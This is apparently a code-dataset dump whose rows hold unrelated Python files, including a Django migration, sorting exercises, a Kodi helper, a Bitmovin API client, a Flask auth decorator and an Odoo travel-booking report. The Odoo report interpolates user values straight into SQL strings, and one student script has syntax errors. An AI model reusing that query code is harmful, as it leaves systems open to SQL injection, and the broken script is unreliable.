blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
281
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
57
| license_type
stringclasses 2
values | repo_name
stringlengths 6
116
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 313
values | visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 18.2k
668M
⌀ | star_events_count
int64 0
102k
| fork_events_count
int64 0
38.2k
| gha_license_id
stringclasses 17
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 107
values | src_encoding
stringclasses 20
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 4
6.02M
| extension
stringclasses 78
values | content
stringlengths 2
6.02M
| authors
listlengths 1
1
| author
stringlengths 0
175
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
cd208c33f5326cb09eeb129fcc87d2573236666d
|
c5f7963d1b664c5bcb60559b62c4ed39cbf5bc0a
|
/digifoot/api/apps/league/migrations/0006_auto_20160312_1044.py
|
cbc524e06328513e24213de5c74b77b075afb89c
|
[] |
no_license
|
Hernas/digifoot
|
611dd8afb7fa0187f855eda158cddd91adb55d95
|
6c26e61ea85577f6779f8e74156b0568e0218bcf
|
refs/heads/master
| 2016-08-12T21:34:51.773495
| 2016-03-12T16:11:18
| 2016-03-12T16:11:18
| 47,719,508
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 714
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9 on 2016-03-12 10:44
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('league', '0005_matchmodel_tweeted'),
]
operations = [
migrations.AlterModelOptions(
name='matchmodel',
options={},
),
migrations.AlterField(
model_name='matchmodel',
name='finished',
field=models.BooleanField(db_index=True, default=False),
),
migrations.AlterIndexTogether(
name='matchmodel',
index_together=set([('device', 'finished')]),
),
]
|
[
"bartosz@hernas.pl"
] |
bartosz@hernas.pl
|
78441b96c0ce2e71662750c075ba367d4d5cdaa5
|
7ec4e5bc5c7edbe3bf107c64d803bcbe0e66f093
|
/Lec12/lec12_sorting.py
|
3243a0869035c2220b9d27c12db85b31f716ea27
|
[] |
no_license
|
griever255/CompSci_Python_6.0001
|
8cb8e21d33aec16d8acd649754af02fd92f0fd04
|
d3145c6880f59299f8d8cce24398526a9c819fff
|
refs/heads/master
| 2023-03-09T04:57:42.733165
| 2021-03-05T02:11:16
| 2021-03-05T02:11:16
| 340,723,993
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,724
|
py
|
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 19 09:21:39 2016
@author: ericgrimson
"""
# def bubble_sort(L):
# swap = False
# while not swap:
# print('bubble sort: ' + str(L))
# swap = True
# for j in range(1, len(L)):
# if L[j-1] > L[j]:
# swap = False
# temp = L[j]
# L[j] = L[j-1]
# L[j-1] = temp
# testList = [1,3,5,7,2,6,25,18,13]
# print('')
# print(bubble_sort(testList))
# print(testList)
# def selection_sort(L):
# suffixSt = 0
# while suffixSt != len(L):
# print('selection sort: ' + str(L))
# for i in range(suffixSt, len(L)):
# if L[i] < L[suffixSt]:
# L[suffixSt], L[i] = L[i], L[suffixSt]
# suffixSt += 1
# testList = [1,3,5,7,2,6,25,18,13]
# print('')
# print(selection_sort(testList))
# print(testList)
def merge(left, right):
result = []
i,j = 0,0
while i < len(left) and j < len(right):
if left[i] < right[j]:
result.append(left[i])
i += 1
else:
result.append(right[j])
j += 1
while (i < len(left)):
result.append(left[i])
i += 1
while (j < len(right)):
result.append(right[j])
j += 1
print('merge: ' + str(left) + '&' + str(right) + ' to ' +str(result))
return result
def merge_sort(L):
print('merge sort: ' + str(L))
if len(L) < 2:
return L[:]
else:
middle = len(L)//2
left = merge_sort(L[:middle])
right = merge_sort(L[middle:])
return merge(left, right)
testList = [1,3,5,7,2,6,25,18,13]
print('')
print(merge_sort(testList))
|
[
"jgargiulo95@gmail.com"
] |
jgargiulo95@gmail.com
|
2bf767c9edf48de2f3c6ab38f546b0cc1b20212a
|
d12fb60ff73288f101e84e59943b04e2e23e0d3f
|
/anidbsync/kodi/kodi.py
|
7af17b7c78559530f565b207591ce253baf9fbc1
|
[
"MIT"
] |
permissive
|
Tyderion/kodi-anidb-sync
|
bb5190e9a97da7f5bf8e78da7221c145f5bbeef8
|
7912184c3fc744d330ae3581f8144fe3a9a1a823
|
refs/heads/master
| 2020-09-02T23:47:39.208469
| 2019-11-15T19:51:54
| 2019-11-15T19:51:54
| 219,334,049
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,896
|
py
|
from kodipydent import Kodi
from anidbsync.auto import AutoRepr
import operator
import re
# TODO: Solve multiple entries problem
from anidbsync.config import KodiConfig
class KodiTVShow(AutoRepr):
def __init__(self, data):
self.id = data['tvshowid']
self.title = data['originaltitle'] if len(data['originaltitle']) > 0 else data['title']
self.episode_count = data['episode']
self.seasons = data['season']
class KodiSeason(AutoRepr):
def __init__(self, data):
self.id = data['seasonid']
self.num = data['season']
self.episode_count = data['episode']
self.name = data['label']
class KodiEpisode(AutoRepr):
def __init__(self, data):
self.file = data['file']
self.id = data['episodeid']
self.episode = data['episode']
self.show = data['showtitle']
self.title = data['title']
self.watched = data['playcount'] > 0
self.group = re.search("\\[(.+?)\\]", self.file).group(1)
class KodiHelper:
def __init__(self, url='localhost', password=None, port=None, config: KodiConfig = None, start_at=0):
self.start_at = start_at
if config is not None:
self.kodi = Kodi(config.url, config.password, config.port)
else:
self.kodi = Kodi(url, password, port)
def get_tvshows(self):
return [KodiTVShow(show) for show in
self.kodi.VideoLibrary.GetTVShows(properties=['title', 'season', 'episode', 'originaltitle'])['result'][
'tvshows'] if
show['tvshowid'] > self.start_at]
def get_seasons(self, tvshowid: int):
seasons = [KodiSeason(season) for season in
self.kodi.VideoLibrary.GetSeasons(tvshowid=tvshowid, properties=['season', 'episode'])['result']['seasons']]
# Anime generally only have 1 season (s2 is normally a different show).
# season 0 is always the specials, which contain endings and openings
# which should be marked watched if any ep is watched
seasons.sort(key=operator.attrgetter('num'), reverse=True)
return seasons
def get_episodes(self, tvshow: int, season: int, start=0, end=-1):
result = self.kodi.VideoLibrary.GetEpisodes(tvshowid=tvshow, season=season, limits={'start': start, 'end': end},
properties=['file', 'episode', 'showtitle', 'title', 'playcount'])[
'result']
if 'episodes' in result:
return [KodiEpisode(e) for e in result['episodes']]
return []
def get_unwatched_episodes(self, tvshow: int, season: int, start=0, end=-1):
return [e for e in self.get_episodes(tvshow, season, start, end) if not e.watched]
def mark_as_watched(self, episode: KodiEpisode):
self.kodi.VideoLibrary.SetEpisodeDetails(episodeid=episode.id, playcount=1)
|
[
"gabriel.nadler@gmail.com"
] |
gabriel.nadler@gmail.com
|
56c9ec760a7ff4fbc286a000c492d5c732524c16
|
f7fdcbc3052559708500e1655dc1feeac2060a22
|
/List.py
|
5ef1924d32d5b977c9ea3be623ba156e8b842d73
|
[] |
no_license
|
VidocqRR/List.py
|
fdd7a77a10d89047817545c7d53e8adda73b76ed
|
ebf5575f8e45f0e94b2828ae5484f86bc19f8b71
|
refs/heads/master
| 2020-04-13T22:52:38.726634
| 2018-12-29T08:11:02
| 2018-12-29T08:11:02
| 163,491,141
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 413
|
py
|
myUniqueList = []
myLeftovers = []
def AddTest(args):
if args not in myUniqueList:
myUniqueList.append(args)
return True
else:
myLeftovers.append(args)
return False
AddTest(1)
AddTest(2)
AddTest(3)
AddTest(4)
AddTest(5)
AddTest(2)
AddTest(4)
AddTest('Hello')
AddTest(1)
print(myUniqueList)
print(myLeftovers)
|
[
"noreply@github.com"
] |
noreply@github.com
|
1d11db0aa1ed010ab524edc4b7847c5ce929f009
|
53fab060fa262e5d5026e0807d93c75fb81e67b9
|
/backup/user_089/ch78_2020_04_13_14_24_17_375788.py
|
f3ffd533ba171b545632219f377a3046205a82d8
|
[] |
no_license
|
gabriellaec/desoft-analise-exercicios
|
b77c6999424c5ce7e44086a12589a0ad43d6adca
|
01940ab0897aa6005764fc220b900e4d6161d36b
|
refs/heads/main
| 2023-01-31T17:19:42.050628
| 2020-12-16T05:21:31
| 2020-12-16T05:21:31
| 306,735,108
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 429
|
py
|
jogo = True
import math
while jogo:
a = input("Qual o nome?")
if a == "sair":
jogo = False
else:
b = float(input("Aceleracao?"))
dic = {a:b}
dic2 = {}
soma = 0
for e in dic:
if e not int dic2:
dic2[e] = math.sqrt(200/dic[e])
if dic2[e] > soma:
soma = dic2[e]
r = ('O vencedor é {0} com tempo de conclusão de {1} s'.format(dic2[e],soma)
return r
|
[
"you@example.com"
] |
you@example.com
|
a4d873fd7b37a571596b17597053adbafbb8d18a
|
1108b133bba685bee7d3b5046ad59a8bb52148b3
|
/build_layouts_main.py
|
6a07e9ec0242b7b904fbeb66ae8c0e20e8816c72
|
[
"Apache-2.0"
] |
permissive
|
tiagodavi70/build_layouts
|
aec6ae07bfbde17e8687a4a42d2776f5d39e5427
|
9860cd1c4f87c1cecfa1bbd18b2e4c5bdc94398f
|
refs/heads/master
| 2021-02-09T03:01:54.531800
| 2020-04-28T13:44:17
| 2020-04-28T13:44:17
| 244,231,518
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,855
|
py
|
import streamlit as st
import pandas as pd
import numpy as np
import time
from PIL import Image
import altair as alt
import seaborn as sns
from matplotlib import pyplot as plt
import learning as lrn
from preprocess import get_normalized_datasets, transform_continuous
@st.cache
def data(cat):
return get_normalized_datasets(include_cat=cat)
@st.cache
def cacheclusterresults(name):
return np.load("cluster_results/" + name + "_spatial.npy"), np.load("cluster_results/" + name + "_spectral.npy")
dts = data(cat=True)
st.sidebar.header("Options")
st.sidebar.text("Number of datasets: " + str(len(dts)))
dataset_name = st.sidebar.selectbox(
"Select dataset:",
[d["name"] for d in dts]
)
st.header("Build Layouts for: " + dataset_name)
@st.cache
def makeallcache(dts, dataset_name):
df = [d["data"] for d in dts if d["name"] == dataset_name][0].copy(deep=True)
dict_ = {}
variances = [{"variances": lrn.variance_thres(df, var_thres), "thres": var_thres} for var_thres in np.arange(.05,.55,.05)]
dict_["variances"] = [v for v in variances if isinstance(v["variances"], np.ndarray)]
dict_["components"], dict_["variance_ratio"] = lrn.applyPCA(df, len(df.columns))
dict_["corr_matrix"] = df.corr()
spatial_lbl, spectral_lbl = cacheclusterresults(dataset_name)
dict_["df_spatial"] = pd.DataFrame(spatial_lbl, columns=["labels"])
dict_["df_spectral"] = pd.DataFrame(spectral_lbl, columns=["labels"])
return dict_
dts = data(True)
data = makeallcache(dts, dataset_name)
var_mean = np.array([data["variances"][i]["variances"] for i in range(len(data["variances"]))]).mean(axis=0).reshape(1, -1)
coor_mean = data["corr_matrix"].mean()
spatial_size, spectral_size = len(data["df_spatial"]["labels"].unique()), len(data["df_spectral"]["labels"].unique())
# choose - attributes | area size | position
|
[
"tiagodavi70@gmail.com"
] |
tiagodavi70@gmail.com
|
f2016ead70d10ced68bab597dac0c22bfd28423e
|
d7641647d67d110e08997767e85bbea081c2537b
|
/bitmovin_api_sdk/encoding/inputs/udp_multicast/udp_multicast_api.py
|
59839e170880781ece7571d5ff6cbc19d6ee3393
|
[
"MIT"
] |
permissive
|
aachenmax/bitmovin-api-sdk-python
|
d3ded77c459852cbea4927ff28c2a4ad39e6026a
|
931bcd8c4695a7eb224a7f4aa5a189ba2430e639
|
refs/heads/master
| 2022-11-16T08:59:06.830567
| 2020-07-06T07:16:51
| 2020-07-06T07:16:51
| 267,538,689
| 0
| 1
|
MIT
| 2020-07-06T07:16:52
| 2020-05-28T08:44:44
|
Python
|
UTF-8
|
Python
| false
| false
| 3,377
|
py
|
# coding: utf-8
from __future__ import absolute_import
from bitmovin_api_sdk.common import BaseApi, BitmovinApiLoggerBase
from bitmovin_api_sdk.common.poscheck import poscheck_except
from bitmovin_api_sdk.models.response_envelope import ResponseEnvelope
from bitmovin_api_sdk.models.response_error import ResponseError
from bitmovin_api_sdk.models.udp_multicast_input import UdpMulticastInput
from bitmovin_api_sdk.encoding.inputs.udp_multicast.customdata.customdata_api import CustomdataApi
from bitmovin_api_sdk.encoding.inputs.udp_multicast.udp_multicast_input_list_query_params import UdpMulticastInputListQueryParams
class UdpMulticastApi(BaseApi):
@poscheck_except(2)
def __init__(self, api_key, tenant_org_id=None, base_url=None, logger=None):
# type: (str, str, str, BitmovinApiLoggerBase) -> None
super(UdpMulticastApi, self).__init__(
api_key=api_key,
tenant_org_id=tenant_org_id,
base_url=base_url,
logger=logger
)
self.customdata = CustomdataApi(
api_key=api_key,
tenant_org_id=tenant_org_id,
base_url=base_url,
logger=logger
)
def create(self, udp_multicast_input, **kwargs):
# type: (UdpMulticastInput, dict) -> UdpMulticastInput
"""Create UDP multicast input
:param udp_multicast_input: The UdpMulticastInput to be created
:type udp_multicast_input: UdpMulticastInput, required
:return: UDP multicast input
:rtype: UdpMulticastInput
"""
return self.api_client.post(
'/encoding/inputs/udp-multicast',
udp_multicast_input,
type=UdpMulticastInput,
**kwargs
)
def delete(self, input_id, **kwargs):
# type: (string_types, dict) -> UdpMulticastInput
"""Delete UDP multicast input
:param input_id: Id of the input
:type input_id: string_types, required
:return: Id of the input
:rtype: UdpMulticastInput
"""
return self.api_client.delete(
'/encoding/inputs/udp-multicast/{input_id}',
path_params={'input_id': input_id},
type=UdpMulticastInput,
**kwargs
)
def get(self, input_id, **kwargs):
# type: (string_types, dict) -> UdpMulticastInput
"""UDP multicast Input Details
:param input_id: Id of the input
:type input_id: string_types, required
:return: UDP multicast input
:rtype: UdpMulticastInput
"""
return self.api_client.get(
'/encoding/inputs/udp-multicast/{input_id}',
path_params={'input_id': input_id},
type=UdpMulticastInput,
**kwargs
)
def list(self, query_params=None, **kwargs):
# type: (UdpMulticastInputListQueryParams, dict) -> UdpMulticastInput
"""List UDP multicast inputs
:param query_params: Query parameters
:type query_params: UdpMulticastInputListQueryParams
:return: List of UDP multicast inputs
:rtype: UdpMulticastInput
"""
return self.api_client.get(
'/encoding/inputs/udp-multicast',
query_params=query_params,
pagination_response=True,
type=UdpMulticastInput,
**kwargs
)
|
[
"openapi@bitmovin.com"
] |
openapi@bitmovin.com
|
e8dd4b99dda3f80a715b9b095438124cf900d209
|
b1b43bb18fb06ca2c549382622ef7fd041baa7a8
|
/test/rename.py
|
619f249df2769199b1e29277fbd5a2362fe28ed1
|
[] |
no_license
|
easyz/tools_3
|
3de001b1db30e8a924797142088bcd8af50c3e49
|
754b8a7be8afd95dee0a79bbe2b947a7cad434a2
|
refs/heads/master
| 2021-04-25T19:25:03.268839
| 2018-05-03T07:25:05
| 2018-05-03T07:25:05
| 108,647,106
| 0
| 0
| null | null | null | null |
GB18030
|
Python
| false
| false
| 3,878
|
py
|
#coding:gbk
from PIL import Image
import json
import os
import shutil
import time
import math
import re
def RenameRule01(rule):
return lambda name : rule.replace("*", name)
def RenameRule02(name):
return "_" + name
def ReDir(dirName, ruleFunc):
dirName = dirName.decode("utf8").encode("gbk")
for f in os.listdir(dirName):
old = os.path.join(dirName, f)
if os.path.isdir(old):
new = os.path.join(dirName, ruleFunc(f))
print(old.replace(dirName, "") + " >>> " + new.replace(dirName, ""))
os.rename(old, new)
def RefileName(inDirName, outDirName, fileName, ruleFunc = None):
old = os.path.join(inDirName, fileName)
new = fileName
if os.path.isfile(old):
nameArray = fileName.split(".")
if not os.path.exists(outDirName):
os.makedirs(outDirName)
if ruleFunc:
new = ruleFunc(nameArray[0]) + "." + nameArray[1]
newPath = os.path.join(outDirName, new)
print(old + " >>> " + newPath)
os.rename(old, newPath)
return new
def Refiles(dirName, ruleFunc):
dirName = dirName.decode("utf8").encode("gbk")
for f in os.listdir(dirName):
old = os.path.join(dirName, f)
if os.path.isfile(old):
nameArray = f.split(".")
new = os.path.join(dirName, ruleFunc(nameArray[0])) + "." + nameArray[1]
print(old.replace(dirName, "") + " >>> " + new.replace(dirName, ""))
os.rename(old, new)
def ReAllfiles(dirName, ruleFunc):
t = "tmp" + str(int(time.time()))
alldirs = []
for root, dirs, files in os.walk(dirName):
for filePath in files:
tmpDir = root.replace(dirName, dirName + t)
newFilePath = RefileName(root, tmpDir, filePath, ruleFunc)
alldirs.append({
"tmpDir": tmpDir,
"root": root,
"filePath": newFilePath
})
for data in alldirs:
RefileName(data["tmpDir"], data["root"], data["filePath"])
shutil.rmtree(dirName + t)
# ReDir("D:\\develop\\xntg_resource\\切图文件\\翅膀\\", RenameRule01("wing*"))
# ReDir("D:\\develop\\xntg_resource\\切图文件\\角色\\", RenameRule01("body*"))
# ReDir("D:\\develop\\xntg_resource\\切图文件\\武器\\", RenameRule01("weapon*"))
# ReDir("D:\\develop\\xntg_resource\\切图文件\\坐骑\\", RenameRule01("horse*"))
# Refiles("D:\\develop\\xntg\\assets\\dev\\movie\\ring", lambda name : "ring" + name.split("_")[0])
# Refiles("D:\\develop\\xntg\\assets\\dev\\movie\\hitEff", lambda name : "hit" + name.split("_")[0])
# ReAllfiles("E:\\lycq\\resource\\总美术上传文件\\武器\\圣剑", lambda name : str(100000 + (int(name) + 1))[1:])
def ReplaceVName(name):
matchObj = re.match(r'.*(_v\d+)', name, re.M|re.I)
if matchObj:
return name.replace(matchObj.group(1), "")
else:
print(name + " not match !!!!!!!!!")
return name
# ReAllfiles("D:\\develop\\xntg\\client\\project\\resource\\assets\\atlas_ui", ReplaceVName)
# Refiles("D:\\develop\\xntg\\client\\project\\resource\\assets\\atlas_ui\\suit", lambda name : ReplaceVName(name.replace("ui_", "ui_icon_suit_")))
# Refiles("D:\\develop\\xntg\\client\\project\\resource\\assets\\atlas_ui\\image\\icon\\item", lambda name : ReplaceVName(name.replace("ui_", "ui_icon_item_")))
# Refiles("D:\\develop\\xntg\\client\\project\\resource\\assets\\atlas_ui\\image\\skill", lambda name : ReplaceVName(name.replace("ui_", "ui_skill_")))
# Refiles("D:\\develop\\xntg\\client\\project\\resource\\assets\\atlas_ui\\image\\skill\\grey", lambda name : ReplaceVName(name.replace("ui_", "ui_skill_g_")))
def Replace2(name):
nameid = int(name)
nametype = math.floor(nameid / 10000)
if nametype == 2:
return str(30000 + nameid % 10000)
return name
ReAllfiles("G:\\develop\\project\\xntg_resource\\切图文件", Replace2)
|
[
"yinzhi523@163.com"
] |
yinzhi523@163.com
|
4226e098d5435a55371697a55303a229897544cd
|
0f9eb5d747369906c855cf7738f8be6056f6c46d
|
/travels_management/reports/report.py
|
6755900c58f3b0395729bec944b9f04d60f6756b
|
[] |
no_license
|
Rinshi-Cybro/Odoo-Project
|
38e0ae540c12fb39c13df5a0a68bd6e4625e1424
|
30ce607db352b19d746dd3d72aaa4e6260e536b4
|
refs/heads/master
| 2023-03-06T20:30:40.506008
| 2021-02-24T11:57:47
| 2021-02-24T11:57:47
| 328,082,898
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,621
|
py
|
from odoo import models, fields, api
class TravelsReportPrint(models.AbstractModel):
_name = 'report.travels_management.print_travels_report'
_description = 'Booking Report'
@api.model
def _get_report_values(self, docids, data=None):
"""in this function can access the data returned from the button click function"""
model_id = data['model_id']
date_from = data['date_from']
date_to = data['date_to']
customer = data['customer']
today = fields.Date.today()
value = []
query_start = """SELECT DISTINCT ON (booking.id) booking.id, customer.name,
location.locations_name AS source_location, locations.locations_name AS
destination_location, vehicle.name AS vehicle, booking.state AS state FROM
travels_booking AS booking INNER JOIN res_partner AS customer ON
booking.customer_id = customer.id INNER JOIN travels_locations AS
location ON booking.source_location = location.id INNER JOIN
travels_locations AS locations ON booking.destination_location =
locations.id LEFT JOIN vehicle_types AS vehicle ON
booking.vehicle_id = vehicle.id"""
if customer and date_from and date_to:
query = query_start + """ WHERE customer.name = ('%s') AND
CAST(booking.booking_date AS DATE) BETWEEN CAST('%s' AS
DATE) AND CAST('%s' AS DATE) AND state NOT IN
('draft')""" % (customer, date_from, date_to)
elif not customer and date_from and date_to:
query = query_start + """ WHERE CAST(booking.booking_date AS DATE)
BETWEEN CAST('%s' AS DATE) AND CAST('%s' AS DATE) AND
state NOT IN ('draft')""" % (date_from, date_to)
elif customer and date_from and date_to:
query = query_start + """ WHERE customer.name = ('%s') AND CAST
(booking.booking_date AS DATE) BETWEEN
CAST('%s' AS DATE) AND CAST('%s' AS DATE) AND
state NOT IN (''draft'')""" % (customer, today, date_to)
elif customer and date_from and not date_to:
query = query_start + """ WHERE customer.name = ('%s') AND
CAST(booking.booking_date AS DATE) BETWEEN CAST('%s' AS
DATE) AND CAST('%s' AS DATE) AND state NOT IN
('draft')""" % (customer, date_from, today)
elif not customer and date_from and not date_to:
query = query_start + """ WHERE CAST(booking.booking_date AS DATE)
BETWEEN CAST('%s' AS DATE) AND CAST('%s' AS DATE) AND
state NOT IN ('draft')""" % (date_from, today)
elif not customer and not date_from and date_to:
query = query_start + """ WHERE CAST(booking.booking_date AS DATE)
<= CAST('%s' AS DATE) AND state NOT IN
('draft')""" % date_to
elif customer:
query = query_start + """ WHERE customer.name = ('%s') AND state
NOT IN ('draft')""" % customer
else:
query = query_start + """ WHERE state NOT IN ('draft')"""
value.append(model_id)
self._cr.execute(query, value)
record = self._cr.dictfetchall()
print(record)
return {
'docs': record,
'date_from': date_from,
'date_to': date_to
}
|
[
"rinshi96@gmail.com"
] |
rinshi96@gmail.com
|
13499e083165756c2b409cacdc7e80ddbc1bb0ee
|
d7ff534ef84ca89c5e0505f249374a77b74559f9
|
/services/users/project/api/utils.py
|
7e051efb9fce1a609dbfaf5feb7d5dd7296d3316
|
[] |
no_license
|
Muhinyuzi/testdriven-app
|
10095c25cb0473f73734a3356bfd8d1ce7917c14
|
625982c8e2bdea3200f6962751210d158365a6a3
|
refs/heads/master
| 2022-06-21T06:39:03.323832
| 2019-12-03T11:28:24
| 2019-12-03T11:28:24
| 154,828,668
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,016
|
py
|
# services/users/project/api/utils.py
from functools import wraps
from flask import request, jsonify
from project.api.models import User
def authenticate(f):
@wraps(f)
def decorated_function(*args, **kwargs):
response_object = {
'status': 'fail',
'message': 'Provide a valid auth token.'
}
auth_header = request.headers.get('Authorization')
if not auth_header:
return jsonify(response_object), 403
auth_token = auth_header.split(" ")[1]
resp = User.decode_auth_token(auth_token)
if isinstance(resp, str):
response_object['message'] = resp
return jsonify(response_object), 401
user = User.query.filter_by(id=resp).first()
if not user or not user.active:
return jsonify(response_object), 401
return f(resp, *args, **kwargs)
return decorated_function
def is_admin(user_id):
user = User.query.filter_by(id=user_id).first()
return user.admin
|
[
"mujecla007@gmail.com"
] |
mujecla007@gmail.com
|
e5edc21a34b45ca67e7abb9b03ee9215880f212d
|
c440bcb0e566ed107d198593bfeb482c59276dd8
|
/advent_of_code/2021/day10_1.py
|
2d34868acd58b3462cc9f7332e432aea3f23b3a6
|
[] |
no_license
|
TheCDC/Musings
|
1ee917bbf2fd39f6fa97b268568053ca6ad7fbbf
|
7b07e315230248239bbccad5d85d0a5e8a54d5d8
|
refs/heads/master
| 2022-11-30T23:37:24.608955
| 2021-12-19T08:12:03
| 2021-12-19T08:12:03
| 175,046,297
| 0
| 0
| null | 2022-11-22T07:20:49
| 2019-03-11T17:01:54
|
Python
|
UTF-8
|
Python
| false
| false
| 1,751
|
py
|
from typing import List, Optional, Tuple
with open("inputs/day10.txt") as f:
lines = f.read().split()
openers = "([{<"
closers = ")]}>"
points_corruption = {")": 3, "]": 57, "}": 1197, ">": 25137}
def complete(opens: List[str]):
to_complete = opens[:]
completion: List[str] = []
while to_complete:
c = to_complete.pop()
completion.append(closers[openers.find(c)])
return completion
def score_corruption(s: str):
return points_corruption[s]
def is_matched_pair(a: str, b: str):
assert len(a) == 1 and len(b) == 1
assert a in openers
assert b in closers
matching = openers.find(a) == closers.find(b)
return matching
def doline(line: str):
chars = list(reversed(list(enumerate(line))))
left: List[str] = []
right: List[str] = []
corrupted: Optional[Tuple[int, str]] = None
while chars:
i, c = chars.pop()
if c in openers:
left.append(c)
else:
right.append(c)
if not is_matched_pair(left[-1], c):
corrupted = (i, c) if corrupted is None else corrupted
while len(left) and len(right) and is_matched_pair(left[-1], right[-1]):
left.pop()
right.pop()
completion = complete(left)
return (left, right, completion, corrupted)
def solve(lines):
score_total = 0
results = [doline(line) for line in lines]
score_total = sum(score_corruption(cor[1]) for l, r, comp, cor in results if cor)
return (score_total, results)
def main():
solved = solve(lines)
print(
solved[0],
*[tuple("".join(x) for x in (t[0], t[1], t[2])) + (t[3],) for t in solved[1]],
sep="\n"
)
if __name__ == "__main__":
main()
|
[
"christopher.chen1995@gmail.com"
] |
christopher.chen1995@gmail.com
|
5e64b839b47066df063c62dea1b7f5782aef0f90
|
8e4c82edcb114bd08071e744703e03f6e6cab98a
|
/docs/conf.py
|
4032135f1e58cc88a0dba4bd3ec5f47c61447b45
|
[
"Apache-2.0"
] |
permissive
|
cupid4/slippin-jimmy
|
915c5d50570ae1e533bc5a33fcbd79304ebd9b7d
|
d0e52277daff523eda63f5d3137b5a990413923d
|
refs/heads/master
| 2020-06-19T00:56:26.124669
| 2018-05-30T20:59:31
| 2018-05-30T20:59:31
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 9,462
|
py
|
# -*- coding: utf-8 -*-
#
# Slippin Jimmy documentation build configuration file, created by
# sphinx-quickstart on Thu Mar 31 13:10:29 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
import sys
import os
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#sys.path.insert(0, os.path.abspath('.'))
sys.path.insert(0, os.path.abspath(__file__) + '/../src/slippinj/')
# -- General configuration ------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.doctest',
'sphinx.ext.coverage',
'sphinx.ext.viewcode',
]
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'
# The encoding of source files.
#source_encoding = 'utf-8-sig'
# The master toctree document.
master_doc = 'slippinj'
# General information about the project.
project = u'Slippin Jimmy'
copyright = u'2016, Data Architects Schibsted Spain'
author = u'Data Architects Schibsted Spain'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u'1.1.2'
# The full version, including alpha/beta/rc tags.
release = u'1.1.2'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']
# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'alabaster'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}
# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
#html_short_title = None
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None
# The name of an image file (relative to this directory) to use as a favicon of
# the docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}
# If false, no module index is generated.
#html_domain_indices = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True
